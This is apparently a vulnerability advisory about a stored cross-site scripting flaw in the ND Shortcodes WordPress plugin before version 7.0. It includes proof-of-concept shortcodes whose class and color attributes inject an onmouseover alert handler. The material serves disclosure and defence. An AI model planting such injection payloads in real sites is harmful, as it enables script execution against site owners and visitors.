ND Shortcodes < 7.0 - Contributor+ Stored XSS via Shortcodes

2023-06-1200:00:00

Lana Codes

shortcodes

stored xss

contributor+

wpbakery page builder

plugin

EPSS

0.001

Percentile

25.5%

JSON

The plugin does not validate and escape numerous of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

[nd_options_team nd_options_class='"onmouseover="alert(/XSS/)//']
[nd_options_team nd_options_color='"onmouseover="alert(/XSS/)//']

[nd_options_testimonial nd_options_class='" onmouseover="alert(/XSS/)" style="background:red;width:100px;height:100px;"']
[nd_options_testimonial nd_options_color='"onmouseover="alert(/XSS/)//']

PS:
- Numerous other shortcodes were affected
- The WPBakery Page Builder plugin is required to initialize the shortcodes.

EPSS

0.001

Percentile

25.5%

JSON

Related for WPEX-ID:1B3201DA-F254-406F-9B4A-CD5025B6B03D